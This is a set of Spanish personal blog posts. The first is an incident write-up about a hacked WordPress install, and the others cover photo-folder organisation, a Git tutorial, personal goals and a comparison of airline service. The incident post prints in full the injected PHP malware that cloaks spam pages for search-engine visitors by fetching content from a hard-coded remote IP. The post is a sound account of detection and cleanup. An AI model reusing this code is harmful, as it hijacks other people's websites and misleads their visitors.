Y para celebrarlo, algún spammer graciosillo me metió presión para que actualizara WordPress a la última versión. ¡Pero si hacía sólo 3 años que lo actualicé por última vez, a la versión 2.0 que es la que tiene toda Internet!

En fin, que no te puedes olvidar de cambiar el aceite del coche ni de actualizar WordPress con regularidad. A menos que tengas un Volkswagen Polo de los antiguos, que iban bien con aceite semi-sólido

Con un poco de suerte, no se notarán más que pequeños cambios. A menos que te interesen los gory details del ataque del spammer, no sigas leyendo.

El pasado miércoles por la noche, mientras me disponía a contarles otra historia, me percaté de un curioso ataque de SPAM en mi blog. Tras librarme de la sanguijuela en questión, me quedó claro que tenía que actualizar mi versión de WordPress urgentemente.

Esto es lo que pasa cuando uno se lo monta por su propia cuenta, cuanto menos dependes de servicios de terceros (p.ej. wordpress.com) más dependes de tí mismo. Tener coche propio conlleva ciertas obligaciones y llevarse algún susto de vez en cuando, mientras que si alguilas el coche cuando lo necesitas te libras del mantenimiento. Los coches son más fiables que los blogs, pero por ahí van los tiros.

El ataque se manifiestó del siguiente modo: hice una búsqueda (en Google, para no desvariar) que devolvía una página de mi blog. Lo primero que noté al encontrar mi entrada fue un título que no era mío:

Incrédulo, pulsé el enlace a ver a dónde me llevaba. Cuál no fue mi sorpresa al ver que aterrizo en mi propio blog, pero éste me recibe con una página que no es mía. Entre otras porquerías, esta página contenía publicidad.

Aún más incrédulo, copie la dirección (que no era mía, aunque estuviera en mi blog) y la pegué en una nueva pestaña, la misma página me recibió. Pero si copiaba la dirección que sí era mía (la que me daba Google) y la pegaba en una nueva pestaña, entonces obtenía mi página auténtica.

Conclusión: dos páginas diferentes en la misma dirección, dependiendo de dónde viniera. La clave estaba en la cabecera HTTP Referer que le dice al servidor de dónde vienes. Un sencillo experimento bastó para corroborar mis sospecha:

$ telnet miguev.net 80
Trying 69.163.168.159...
Connected to miguev.net.
Escape character is '^]'.
GET /2008/09/16/las-cuentas-claras/ HTTP/1.1
Host: www.miguev.net
Referer: http://www.google.ch/search?sourceid=chrome&ie=UTF-8&q=gnupelas

HTTP/1.1 301 Moved Permanently
Date: Tue, 24 Aug 2010 20:19:47 GMT
Server: Apache
X-Powered-By: PHP/5.2.14
Location: /news/HOT/CHERYL-HINES/
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html

Lo que pasa aquí es que yo pido la página http://www.miguev.net/2008/09/16/las-cuentas-claras/ y recibo en su lugar una redirección a http://www.miguev.net/news/HOT/CHERYL-HINES/ que claramente no es mía. Obviando la cabecera Referer: obtengo mi página auténtica.

Llegados a este punto estaba claro el modus-operandi del ataque, falta encontrar dónde se alojaba. Por suerte, no se trataba de un ataque muy sofisticado, simplemente inyectó el siguiente código en mi fichero de configuración de WordPress:

define ('WPLANG', 'es_ES'); error_reporting(0);$sd="";$pts=explode("?",$_SERVER['REQUEST_URI']);$pt=$pts[0];$d1="212.117.169.139";$f1="/allmykey4.txt";$fp1=fsockopen($d1,80,$erno,$erstr,30);if(!$fp1){print "Err: $erstr [$erno]";}else{fwrite($fp1,"GET $f1 HTTP/1.0\r\n");fwrite($fp1,"Host: $d1\r\n\r\n");while(!feof($fp1)){$h1.=fread($fp1,512);}fclose($fp1);}preg_match_all("!<begin>([^<]+)<end>!",$h1,$m1);$rkk=$m1[1][rand(0,count($m1[0])-1)];$rk=explode("@",$rkk);$rd=$rk[0];$rp=$rk[1];$a=$_SERVER['HTTP_USER_AGENT'];$ra=$_SERVER['HTTP_REFERER'];if(eregi("google",$a)||eregi("Googlebot",$a)||eregi("slurp",$a)||eregi("msnbot",$a)||eregi("google.",$ra)||eregi("yahoo.",$ra)||eregi("live.",$ra)||eregi("msn.",$ra)||eregi("bing.",$ra)){$d4=$rd;if(!eregi("/news",$pt)){$f4="/news".$pt;$f4=str_replace($sd,"",$f4);}else{$f4=str_replace($sd,"",$pt);}$fp4=fsockopen($d4,80,$erno,$erstr,30);if(!$fp4){print "Err: $erstr [$erno]";}else{fwrite($fp4,"GET $f4 HTTP/1.0\r\n");fwrite($fp4,"Host: $d4\r\n\r\n");while(!feof($fp4)){$h4.=fread($fp4,512);}fclose($fp4);}$bo="<frameset rows='100%,*' noresize><frame src='http://".$d4."/".$f4."' noresize></frameset><body>";$h4=str_replace('<body>',$bo,$h4);if(eregi("<h1>Page not found, 404 error</h1>",$h4)){$ru="/".$sd.$rp;header("HTTP/1.1 301");header("Location: $ru");exit();}else{$x4=explode("\r\n",$h4);for($m=9;$m<sizeof($x4);$m++){echo $x4[$m];}exit();}}

Borrando toda esa línea menos la parte del principio define ('WPLANG', 'es_ES'); quedó arreglado el asunto. Al menos, eso espero.

Lo preocupante es: ¿cómo narices pudo alguien escribir en mi fichero? Por no decir que ahí está la contraseña de la base de datos, naturalmente única e inmediatamente reemplazada por otra contraseña única.

El fichero tenía permisos para que todo el mundo pudiera leerlo y escribirlo, lo cual no tiene ningún sentido. O bien había un agujero en WordPress 2.0 que permitió al atacante mangonear el fichero a su antojo, o bien fui yo el que metió la pata con chmod sin darme ni cuenta

El ataque duró 49 horas 07 minutos y 29 segundos, desde las 11:22:01 del 22 hasta las 12:30:32 del 24 de agosto, y afectó a 2062 peticiones HTTP, de las cuales 223 venían de navegadores que probablemente tuvieran personas detrás.

Por suerte, no se trataba de la clase de ataque que se esconde en la base de datos. Aún así, prefiero considerar esta versión antigua de WordPress no de fiar e instalar la última versión desde cero.

Actualizar de WordPress 2.0 a 3.0 no parece ninguna broma, en el foro te dicen que peregrines de rodillas (muy simpáticos) pero alguien ya se cansó de la peregrinación y escribió un tema que permite exportar la mayor parte del contenido en formato XML para Movable Type, que luego se puede importar de vuelta. No está mal, pero se deja atrás las páginas estáticas, así que ayer me pasé el día dándole duro a las expresiones regulares y al SQL

Aproveché la ocasión para mover el blog a miguev.net/blog/ por si un día quiero tener en este dominio algo que no sea un blog, nunca se sabe

Esto tenía que pasar tarde o temprano, ya pasó. De momento me puedo dar con un canto en los dientes si no se nota ningún cambio importante. He desactivado temporalmente los iconos de navegadores y la información del tiempo, cuando pueda los reactivaré, pero no tengo prisa. Si alguien nota algo más que esté roto, por favor háganmelo saber

Si has notado interrupciones en el servicio, te ruego aceptes mis disculpas.

Si no has notado nada y aún te preguntas a qué narices viene todo esto, me alegro mucho —de que no hayas notado nada:-)

Me queda pendiente afinar las reglas de redirección con mod_rewrite, que aún no controlo bien. Gracias a Boriel, tengo lectura pendiente para eso

Ahora, es viernes y son las cinco, así que me voy a celebrar este cumpleaños del blog que no quería crecer con una cerveza

Cuando se trata de mantener el orden en una colección de fotos, esta unicidad no es tan fácil de garantizar como parece. En un extremo, existe lo que en matemáticas llamaríamos la solución trivial:

Están todas las fotos en una carpeta, no necesito más.

Claramente, una solución mucho mejor que tener las fotos repartidas por varias carpetas en distintos sitios. Esto es no complicarse la vida y lo demás son tonterías

Conociéndome, pueden imaginar que mi lugar está en el otro extremo

Para empezar, tener todas las fotas en (exactamente en, no debajo de) una única carpeta presenta varios problemas:

• Encontrarlas, a menos que sepas en qué fichero está cada foto.
• Darle, forzosamente, un nombre (de fichero) único a cada foto. Esto, por si sólo, nunca es mala idea.

Hace años que tengo mis (veinte mil) fotos organizadas en carpetas, pero no fue hasta hace unos días que decidí establecer una estructura consistente a estas carpetas. Puede que no exista una solución perfecta (la demostración queda como ejercicio para el lector) pero yo me conformo con dar un pasito, una iteración, hacia una solución un poco mejor

Un nombre (único) para cada cosa

Aunque me centraré en las fotos, lo mismo se aplica también para los vídeos, que no son más que un chorizo muy largo de fotos seguidas

Darle un nombre único a cada foto es relativamente sencillo. La mayoría de cámaras digitales incluyen un número de secuencia en los nombres de los ficheros que producen. Si tienes más de una cámara del mismo fabricante, podría pasar que los nombres se repitan entre ellas, pero eso se arregla fácilmente cambiando la parte constante del nombre para que refleje de qué camara viene el fichero.

Por ejemplo, las fotos de mi vieja Nikon Coolpix 2200 llevan el prefijo c22_, las de mi vieja Nikon Coolpix 8400 llevan el prefijo c84_, las de la Nikon D80 llevan el prefijo d80_, las de la Nikon D90 llevan el prefijo d90_, etc. Asegurándote de que la cámara no resetee el contador —salvo que agote los 4 digítos al llegar a las 10.000 fotos, en cuyo caso añades un 1 delante y relajas el dedo — y asignando un prefijo único a cada cámara, ya tienes un nombre único para cada foto.

Si tienes fotos de película, numera los carretes y combina ese número con el de fotograma. Y disfruta mientras tengas un laboratorio a mano

Si tienes fotos de un móvil que pone la fecha y la hora en el nombre del fichero, las puedes dejar así si no te molesta. Si el móvil hace eso, difícilmente tendrás dos fotos del mismo segundo

Si ya estás pensando menudo rollo, todo eso no hace falta es probable que no tengas muchas fotos ni muy antiguas. Mira lo fácil que es llegar al punto donde esto se hace necesario: entre mis 18.268 (muy pocas anteriores a 2003) tengo 761 repetidas, 391 de ellas más de dos veces. Un ejemplo:

La primera salió de la Nikon D80 de mi padre, la segunda de mi Nikon D80. Casos así, más de mil. Podría ser mucho, mucho peor. De hecho, lo fué.

Pero bueno, esto es fácil. Cada foto tiene una unicidad muy clara en el tiempo, the moment it clicks (y la cámara que hace click). Sólo hay que ponerse.

Un sitio (único) para cada cosa

Esto es un poco más complicado. A menos que prefieras ordenar tus carpetas por fechas, la unicidad no es tan obvia.

¿Y por qué no ordenas tus carpetas por fechas y ya está? Por varios motivos. Esto es una decisión personal y, para mi sorpresa, la mayoría de la gente que respondió a una breve encuesta a mi alrededor decían ser felices con carpetas basadas en años, meses y eventos. Una organización sin duda fácil de mantener, pero a mí no me va bien porque:

• Yo no recuerdo las fechas con facilidad.
• Fotos tomadas en la misma fecha, incluso en el mismo evento, pueden no estar relacionadas.
• Nunca busco fotos por fechas, pero si quisiera es fácil hacerlo sin usar carpetas.

De hecho, mi primera estructura de carpetas para organizar fotos se basaba en fechas. Pronto me quedó claro que así no iba a encontrar las fotos cuando las necesitara. Sobretodo en aquella época (2003-2004) en que desconocía la existencia de las etiquetas IPTC. Qué tiempos aquellos

¿Y si no usas fechas, cómo ordenas las fotos en carpetas? Ésa, ésa, es la pregunta correcta. No hay una respuesta única, pero parece que una buena idea es clasificar las fotos por el motivo que te llevó a disparar. Este motivo podría ser un evento, un lugar, una persona, una cosa… ¿algo más?

Los eventos son fáciles de clasificar porque tienen una posición bien definida en el tiempo y el espacio, p.ej. el 19 de mayo de 2010 en el Moscone Conference Centre de San Francisco.

Los lugares parecen fáciles de clasificar: de viaje y en casa… hasta que uno de esos destinos de viaje se convierte en casa. No sería la primera vez

Las personas también parecen fáciles de clasificar, p.ej. familia, amigos, compañeros de clase, de trabajo, de grupo social A o B. Hasta que un compañero de clase o de trabajo (¡o de ambos!) se convierte en amigo, o una amiga se convierte en familia, o un amigo se convierte en compañero de trabajo… situaciones que también he vivido en los últimos años. It’s complicated

Y las cosas ya son un jaleo, así que mejor no clasificaré muchas. Por el momento he encontrado una clase de cosas que me hace generar fotos más que el resto: las aficiones. Si tienes muchas fotos de ciertas cosas en concreto, p.ej. comidas (recetas de cocina) es probable que la razón para ello sea que te gusta cocinar, se puede considerar una afición. Si no cocinas pero aún así tienes muchas fotos de comida, será que te gusta comer

También podría darse el caso de que hicieras las fotos por encargo, en cuyo caso podrían clasificarse como trabajos o al menos encargos.

El problema es que siempre queda un resto, fotos que haces porque sí, sin un motivo fuertemente definido, o que no pertenencen a un grupo suficientemente numeroso para merecer una carpeta propia. Para esas, después de mucho pensarlo, decidí usar la característica que menos me cuesta recordar de cada foto: el lugar.

En esta cruzada contra el Caos he pasado a tener menos carpetas, pero más convenientes:

• Aficiones, como Fotografía, Senderismo y Cocina.
• Eventos, pero sólo aquellos que son públicos.
• Gente, incluyendo eventos privados que claramente son específicos de personas concretas, p.ej. bodas (unas pocas), reuniones familiares, cumpleaños, juergas, etc. También actuaciones de Laura..
• Nuevas, para las fotos sin ordenar, recién sacadas de la cámara.
• Selecciones, para copias destinadas a prósitos concretos, p.ej. fondos de pantalla.
• Viajes, incluyendo escapadas en mis (múltiples) países de residencia.
• Videos, por no mezclarlos con las fotos.

Para todo lo demás: Location. Location. Location. (Carpeta Sitios).

De hecho, Eventos, Viajes, Videos y Senderismo están ordenadas también por lugares.

Finalmente, todo cobra sentido: los nombres de ficheros me dicen cuándo hice cada foto, las carpetas me dicen dónde. Así cuando quiera encontrar una foto en mi disco duro, sólo tengo que recordar por qué la hice y dónde, mucho más fácil para mí que recordar cuándo

Un ejemplo claro de lo fácil que me resulta recordar dónde hice las fotos y lo difícil que me resulta recordar cuándo: el temporal “Delta” que azotó Canarias el 29 de noviembre de 2005. Hace apenas cinco años y aún tengo que consultar la fecha, a pesar de que viví el temporal. Sin embargo, no me costó mucho recordar el recorrido que hice con la cámara al día siguiente y localizar todas aquellas fotos:

Cuando hice aquellas fotos, eso de geotagear debía ser ciencia-ficción

Cuando los árboles se quedan en arbustos

Las carpetas tienen dos limitaciones importantes, impuestas por los sistemas de ficheros, que las limitan como mecanismo de clasificación: (a) toda carpeta debe estar dentro de otra (pero sólo una) y (b) cada fichero debe estar en una (única) carpeta. Cuando sacas las fotos del disco duro, p.ej. subiéndolas a Flickr, estas restricciones desaparecen pero aparecen otras, que ahora dependen de la plataforma concreta que hayas elegido para alojar las fotos.

Estas diferencias plantean otro problema: cómo mantener organizaciones diferentes pero coherentes, cada una dentro de las restricciones de la plataforma correspondiente.

Un ejemplo de esto es Flickr, que sólo permite organizar las fotos en conjuntos y colecciones. Cada foto puede estar en cualquier número de conjuntos, incluso ninguno. Cada conjunto puede estar en cualquier número de colecciones, incluso ninguna. Sin embargo, ningún conjunto puede contener a otro y ninguna colección puede contener a otra.

Flickr también permite añadir etiquetas y gente a las fotos, ambas funciones muy útiles a la hora de encontrar cada foto cuando la necesitas.

Aprovecho la ocasión para saludar a mi familia, mis amigos en Tenerife, a mis compañeros del club Montañeros de Nivaria, a mis compañeros del GULIC, a mis compañeros de la ETSII, a los Spaniards en Dublín y a cualquiera que (ya no pregunto cómo) haya cruzado disparos (fotos) conmigo. Si sospechas que tengo fotos en las que sales tú y quieres verlas, hazte una cuenta en Flickr (si aún no tienes una) y añádeme a tus contactos. Si tienes fotos en las que salgo yo, por muy viejas que sean, te agradecería que las compartieras conmigo en Flickr, Picasa, Facebook o donde te venga bien

Volviendo a lo que nos ocupa (¡pero iba en serio!), voy a esbozar una aproximación al problema de comprimir el árbol de carpetas en sólo dos niveles (colecciones y conjuntos).

Las colecciones pueden empezar siendo las carpetas del nivel superior: Aficiones, Eventos, Gente, Viajes, etc. Algunas carpetas de segundo nivel reclamarán su propia colección (p.ej. Gente/Familia), mientras que algunas carpetas de primer nivel podrían no merecerla (p.ej. Selecciones). La carpeta Sitios probablemente tampoco merezca una colección, pero sus hijas (Tenerife, Dublin, Suiza) sí. Eso aún esta por ver (en mi caso) ya que depende de cuántas fotos acaben en esa carpeta, pero es de esperar que, tratándose de mis lugares de residencia, tengan suficiente contenido para tener una colección por cada lugar donde he vivido.

Decidir qué colecciones montar es fácil, lo difícil es decidir los conjuntos

Puedes empezar por aplicar las mismas reglas desde el otro extremo del árbol de carpetas. Algunas (tal vez muchas) de las carpetas que no tienen ninguna dentro (carpetas hoja al final del árbol) merecerán un conjunto. A veces, cuando éstas no tienen muchas fotos son un poco específicas de más, puede ser más conveniente agregarlas en un conjunto común. Por ejemplo, mi conjunto St. Patrick’s Day contiene fotos de cuatro carpetas, cada una de ellas demasiado específica para merecer su propio conjunto:

Events/Ireland/Dublin/St.Patrick's.Day.2007
Events/Ireland/Dublin/St.Patrick's.Day.2008
People/Spaniards/St.Patrick's.Day.2007
People/Spaniards/St.Patrick's.Day.2008

Nota: los nombres de mis carpetas tienden a estar en inglés por varios motivos, entre ellos evitar las tildes, eñes y similares.

Teniendo un criterio para podar el árbol de forma más o menos consistente, lo ideal sería tener un mapa que describa qué carpetas incluye cada conjunto. Un ejemplo de esta organización, el único que doy por terminado ahora mismo, es mi colección de Eventos. La descripción de esta colección refleja también la estructura en carpetas en mis discos locales.

Otro problema, que no existe con las carpetas en discos duros, es cómo ordenar los conjuntos dentro de cada colección. En este caso van por orden cronológico porque así suceden los eventos, son cosas que pasan y yo no puedo estar en dos al mismo tiempo. Pero no siempre será tan fácil.

Eventos es la primera carpeta de mi colleción (por orden alfabético) y también una de las que menos fotos contiene, al menos del 8% del total. Ha sido fácil, gracias a que los eventos tienen un lugar y momento bien determinados, pero había fotos tan viejas que han necesitado algo de cirujía en el EXIF.

Una semana para el 8% más fácil… no me queda nada

Menos mal que las fotos de Viajes no van a necesitar muchos cambios

Actualización a 14 de agosto

Ya tengo ordenadas (y subidas a Flickr) todas mis fotos de Eventos y Aficiones, ha llevado tiempo pero no ha presentado decisiones difíciles.

El gran dilema me lo han plantado las fotos de Gente, sobretodo las fotos de gente muy cercana y de quienes tengo fotos suyas por todas partes: en eventos, de viaje, en sitios importantes… ¿cuándo poner la foto en su propia carpeta personal y cuándo no?

Voy a apuntar el criterio que estoy siguiendo, como recordatorio para cuando me asalte la duda de nuevo en el futuro. Las siguientes categorías (carpetas) deberían tener prioridad:

• Los Eventos, p. ej. una foto de mí en la Ficit 2003. No es una foto sólo “de mí”, sino “de mí en aquel evento”.
• Las Aficiones no suelen generar fotos de gente, pero si se diera el caso es probable que esas fotos no sean “de mí” sino “de mí haciendo eso“, p.ej. esta foto de mí en el pico del Teide en la que ni siquiera se me reconoce
• Las Bodas claramente producen fotos de gente, pero “del tío Pepe en la boda de Marta”, donde el tío Pepe tenía una pinta única e irrepetible, obviamente debido a la boda
• Las fotos de viajes también producen fotos más específicas del lugar que de la gente, claramente una foto de mí en el Vaticano tiene mucho más peso por el Vaticano que por mí, ni el mismísimo Papa se libra de esto
• Las fotos de gente importante que no encajan en ninguna de las anteriores categorías son las que amenazaban con traerme de cabeza, pero acudió en mi rescate el mismo mantra: Location. Location. Location. Si el sitio es suficientemente importante, las fotos van a la carpeta del sitio, sólo en caso contrario van a una carpeta dedicada a la persona. Así, por ejemplo, fotos hechas en casa irán preferiblemente a la carpeta del sitio — 9 de los 14 posibles valores de casa tienen carpeta propia.

Anexo: moraleja de un susto reciente

Por último, pero no por ello menos importante, una nota sobre interoperabilidad: evita todo lo que no sea ASCII en los nombres de ficheros y carpetas. Olvídate de tildes, eñes y demás caracteres especiales.

De lo contrario, vivirás en riesto de que un día, quieras o no, sin que puedas elegir, te cambien la codificación de caracteres en el sistema de ficheros (i.e. formato del disco duro, o dispositivo equivalente) y todas esas tildes y eñes se conviertan en letras raras que, impredeciblemente, te pueden dar problemas.

En serio, la informática no está tan preparada para esto como te imaginas.

No intentes converte de lo contrario, esto ya ha sucedido varias veces en los últimos años. A menudo cuando menos te lo esperas, hace poco casi pierdo un par de cientos de fotos de aquellos maravillosos años. ¡Nunca mais!

Venga ya, exagerado, esas cosas ya no pasan… ¡es mentira!

Te digo que es mentira que estas cosas ya no pasan, es mentira que la informática esté bien preparada para las tildes, compruébalo aquí y aquí.

Desde que tengo un MacBook y uso PCs con Linux un poco antiguos (2 años) me encuentro a menudo con el problema de que las copias locales no son compatibles entre ellos, una versión antigua (1.4) de Subversion no puede manejar una copia local de una versión más reciente (1.6). Dado que necesito usar la misma copia local en varios ordenadores, necesito una solución.

Mantener la misma versión de Subversion en cada ordenador no me parece una buena solución a largo plazo, es una solución volátil que se esfuma al cambiar de ordenador or reinstalarle el sistema operativo, que con el MacBook no es poco habitual. Volver a CVS sería como pegarme un tiro en los pies, así que se me ocurrió mirar hacia delante: Git.

Git es bastante distinto de Subversion, entre otras cosas me permite olvidarme de qué versión de Git uso en cada momento, pero además me permite guardar cambios e historial en la copia local, algo que con CVS o Subversion no es tan directo

En realidad hace algo más de 3 años que conozco git, pero lo tenía un poco abandonado. Recuerdo introducirlo en la Oficina de Software Libre de la Universidad de La Laguna cuando aún era algo relativamente nuevo y desconocido… también recuerdo el susto que nos llevamos un colega y yo cuando parecía que había borrado código suyo, que luego recuperé mágicamente del éter

No me voy a enrollar con los detalles, hay documentación a patadas en el sitio de Git si quieres saber más. Sólo apuntaré aquí los pasos necesarios para:

1. Crear un repositorio local, a partir de un directorio donde asumo que ya hay contenido limpio, i.e. listo para publicar, aunque tampoco es necesario.
2. Crear un repositorio remoto al que poder enviar los cambios en el repositorio local.
3. Vincular ambos repositorios, enviando al remoto el contenido del local.
4. Crear una copia local nueva a partir del respositorio remoto.
5. Integrar los cambios, hechos en la nueva copia local, de vuelta al repositorio remoto.
6. Recuperar esos cambios de vuelta al directorio (local) original.

Puedes encontrar algunas operacioens más en este tutorial en inglés, a mí me fue muy útil

Paso 0. Identificarse.

No es que sea necesario, pero Git no dejará de quedarse hasta que le digas cómo te llamas y cuál es tu email:

git config –global user.name "Pepito el de los Palotes"
git config –global user.email pepitopalotes.com

Paso 1. Crear el respositorio local.

Partimos de un directorio con al menos un fichero dentro, en este ejemplo voy a usar unos scripts que uso para automatizar post-procesado de imágenes.

cd Fotos/photo-scripts
git init
git add .
git commit -m 'Initial commit'

Paso 2. Crear un repositorio remoto.

Si tienes accesso SSH a un servidor Linux, sea compartido o no, puedes crear un repositorio ahí:

mkdir -p ~/repos/photos-scripts.git
git --bare init ~/repos/photos-scripts.git

De lo contrario, Github es una opción interesante. En mi caso, voy a utilizar dos repositorios: uno público en Github para el código y uno privado para datos sensibles que vamos a suponer están en Fotos/data — a tí te voy a contar dónde están

Paso 3. Vincular ambos repositorios.

Git no tiene el concepto de un repositorio central del que se derivan todas las copias locales, como CVS o Subversion. Para Git, todas las copias son repositorios, así que todo son repositorios. Lo que tenemos ahora es un repositorio en la máquina local y un repositorio en un servidor, lo que queremos es vincularlos. Esto se hace añadiendo el remoto al local, así:

git remote add origin ssh://miguev.net/home/miguev/repos/stuff.git

Para el repositorio en Github, es diferente:

git remote add github git@github.com:miguev/photo-scripts.git

Aquí he preferido usar github en lugar de origin por claridad.

Esta operación sólo establece el vínculo entre ambos repositorios, pero no transmite nada entre ellos. Para enviar los contenidos al repositorio remoto, hay que empujarlos:

git push origin master

Para el repositorio en Github, usar github en lugar de origin:

git push github master

Paso 4. Crear una copia local nueva.

O lo que es lo mismo, crear un nuevo repositorio clonando uno que sea accesible:

git clone ssh://miguev.net/home/miguev/repos/stuff.git

Para clonar un repositorio público en Github, lo mismo pero con acceso de sólo lectura:

git clone http://github.com/miguev/photo-scripts.git

A partir de ahí tienes un repositorio completamente funcional en tu propio disco local. Puedes hacer cambios y guardarlos (commit) sin estar conectado a Internet.

Paso 5. Integrar los cambios de vuelta al repositorio remoto.

Tras hacer cambios en los ficheros, añadir ficheros, etc. viene el momento de guardar (commit) esos cambios, de forma que si algo va mal más adelante se puede volver atrás. Esta operación es igual que en CVS y Subversion:

git add muestra.txt
git commit -a -m "Muestra gratuita." muestra.txt

Sin embargo, al contrario que CVS y Subversion, esta operación nunca envía los cambios a un servidor remoto, de modo que el repositorio remoto los recibe. Aquí está la gracia de que Git sea un sistema de control de versiones distribuido: puedes guardar todos los cambios que quieras en tu repositorio sin molestar a nadie

Una vez que los cambios guardados están listos para publicar (para algún valor de publicar), la operación necesaria es empujar el repositorio local hacia el remoto:

git push origin master

Para el repositorio en Github, usar github en lugar de origin:

git push github master

Paso 6. Recuperar esos cambios de vuelta al repositorio original.

Esta operación no es sino la inversa de la anterior:

git pull origin

Para el repositorio en Github, usar github en lugar de origin:

git pull github

Paso 7. Tener cuidado.

Cuando se hacen cambios en varios repositorios locales, hay que tener quidado de sincronizar cada uno (pull) con el repositorio remoto antes de enviarle a éste los cambios (push) ya que de lo contrario se producen conflictos al intentarlo. En estos casos, Git muestra una ayuda bastante buena que explica todo muy bien

Aunque sea vieja (algo más de 3 años) y posiblemente no viene a cuento, no puedo terminar sin recomendarles la esta introducción a Git, del mismo Linus Torvalds. Tiene algunos golpes muy buenos

Así que no fue hasta que me di un paso en el tiempo, a base de ordenar fotos viejas, que tropecé de narices con ese algo que conozco:

El parecido no es mucho, pero para mi alocada cabeza aún parece razonable.

Esto es el logotipo del club deportivo elemental Montañeros de Nivaria de Tenerife, en tiempos mi segunda familia. Su sitio web en 1995, como el mismo club, parece que la última vez que lo actualizaron fue por su décimo aniversario pero sin grandes cambios. Dudo que el creador de ambos (logotipo y sitio web) sospechara cuan longevas sus creaciones llegarían a ser. Eso es dar en el clavo en cuanto a dejar felices a los usuarios

El mes de abril transcurrió, por completo, de viaje… 10 días de más en Sídney acordándome del impronunciable y su nube de mierda.

Unas cortas vacaciones en Galicia y una semana en San Francisco (para asistir al Google I/O 2010) llenaron más de medio Mayo. Junio fue más tranquilo, pero aún me queda mucho para ponerme al día.

Las clases de alemán, ahí siguen esperando por nosotros. De momento, hasta agosto. RosettaStone se alegró mucho de verme, casi tanto como la Wii, pero con menos piedad.

Las mejoras al nido van despacio, muy despacio, más que nada por no estar en el país. Seguimos sin tener fotos de la casa y no creo que las tengamos any time soon. Lo bueno se hace esperar

La dieta… no tan mal como esperaba, en Sídney puedes comer muy bien si quieres, en San Francisco apenas comí, en Galicia me jarté com’un cochino, en la oficina sigo evitando las comidas pesadas y en casa comemos ligerito. Aún así, I’m back to square one: 84 Kg.

El senderismo sigue aparcado, sobretodo ahora con el calor que hace. No pensé que pudiera hacer tanto calor en mitad de los Alpes, a 47ºN. Me parece que voy a tener que esperar por la nieve para retomar el senderismo. Eso sí, aquí las estaciones del año son como en los libros, lo nunca visto para mí

Ni siquiera he progresado mucho en mis objetivos relacionados con la fotografía. Uso más el fotómetro de la cámara, en modo puntual al menos, que mi flamante Kenko; aún no he empezado en serio con el sistema de zonas, apenas me leo los libros que compro… y por si todo eso no fuera suficiente motivo de frustración, el único intento de estrobismo de todo el trimestre quedó terriblemente mal enfocado. Es lo que suele pasar a ƒ/1.4 con un visor tan pequeño (DX) y falta de práctica.

En materia de viajes, parece que la cosa pinta mucho mejor: me he declarado en huelga de aviones (en el trabajo) hasta el próximo año. De momento todo apunta a que no les quedará más remedio que respetar mi huelga, dado que soy el único en Europa para cubrir mis funciones, así que hay pocas ganas de meterme en un avión

Donde también hemos mejorado un poco es en el tema del turismeo, a principios de Junio vimos Berna y Basilea aprovechando la visita de familiares y amigos. Venid más de visita, que así es como salimos de casa

Al menos terminé el libro “National Geographic”: The Photographs y ahora estoy leyendo, para desvariar un poco, Carpe Jugulum. Tal vez sea menos educativo que los libros de Scott Kelby, aunque eso aún está por ver, pero el author me cae infinitamente mejor

Para escarnio público, confesaré haber pasado un fin de semana, prácticamente entero, perdiendo el tiempo con lo que había declarado un despropósito para este año:

• 

Verlo mejor a tamaño completo.

Sólo es un prototipo, así que no vale la pena hacerse ilusiones

Ahora, a menos de dos meses de cumplir un año desde nuestra llegada a Suiza y casi sin viajes ni visitas por delante (dentro del trimestre), me estoy quedando sin excusas para no cumplir objetivos. Las segundas partes siempre fueron malas, pero para las terceras no hay exclusas.

En realidad hace casi un mes que por fin volví para quedarme, pero no he tenido tiempo de terminar de escribir hasta hoy. No ha sido un mes tranquilo.

Habían pasado tres semanas desde que volvimos a Europa, pero ahí no terminaba la racha de viajes para mí. Tras una semana en Galicia a base de marisco y apenas unos días en casa, pronto me llegó la hora de volver a cruzar otro charco. Al menos esta vez el viaje fue libre de incidentes

A pesar de los continuados esfuerzos del impronunciable, no hemos vuelto a tener vuelos cancelados. Me tuvieron una hora y pico esperando en Santiago de Compostela porque no sabían si podríamos volar aquel día (10 de mayo) pero finalmente se abrieron los cielos y pude llegar a casa según el plan previsto, o casi. Al ir a San Francisco tuvimos que rodear Islandia por su vertiente septemtrional para evitar la nube de cenizas y al día siguiente ¡volvieron a cerrar Heathrow! (ahí me asusté un poco) pero a la vuelta el viento se reviró y pudimos volar según la ruta normal.

A todo esto, volar en clase business estuvo muy bien, aunque la clase turista de Singapore Air tiene unas cuantas cosas mejor (o mucho mejor) que la clase business the British Airways:

• Comida. Parecía mentira lo buena que estaba la comida de Singapore Air a pesar de ser un menú especial para celíacos (ahí me la jugué experimentando). El menú para celíacos de British Airways daba pena… en realidad me dió pena de mí mismo porque eso era lo que tenía para comer. El pan era especialmente horrible, tanto que al final pedí pan normal porque el pan especial que me dieron era incomible.
  A la vuelta, British Airways no pudo darme un menú especial gracias a la huelga de personal de a bordo. Me alegré muchísimo, el menú normal estaba mucho mejor, aunque aún la carne que intentaban pasar por solomillo (beef fillet) no tenía nada que hacer comparada con la carne (también un medallón de ternera) sin pretensiones que me dió Singapore Air a la vuelta. Por no mencional que a la ida (de Zurich a Singapur) me dieron carne de avestruz
• Lavabos. Usabilidad pésima, como cualquier lavabo normal en las islas británicas. No me esperaba espejos de cuerpo entero, pero tampoco unos lavabos tan incómodos :-\
• Sistema de entretenimiento. Una comparación injusta, lo reconozco, el viejo Boeing 777 de British Airways no puede compararse con el nuevo y flamante Airbus A380 de Singapore Air. Sería como comparar la primera Gameboy con la última PSP. Dejando a un lado el hardware, la selección de películas de Singapore Air era bastante mayor y mejor que la de British Airways: ~72 vs. 22 (casi el triple) con prácticamente todas las ganadoras (y nominaciones) a Óscars y Goya, de las cuales me quedé con ganas de ver otra vez: Celda 211, Nine, The Blind Side, … sólo pude ver Crazy Heart.
• Toallas calientes. Un detalles sin mayor importancia que descubrimos con Singapore Air, luego descubrí que en British Airways es un privilegio de la clase business. Pues hasta en eso se lucen mejor en Singapore Air, en la temperatura y el servicio de recogida. Las toallas de British Airways quemaban un poco y la primera que me dieron la tuve un rato dando vueltas hasta que por fin se dieron cuenta y la recogieron. Hasta el tamaño era mejor en Singapore Air.

Además, tuvimos el privilegio de estrenar el A380 de Zúrich a Singapur, aunque el vuelo no tuvo nada de especial por ello

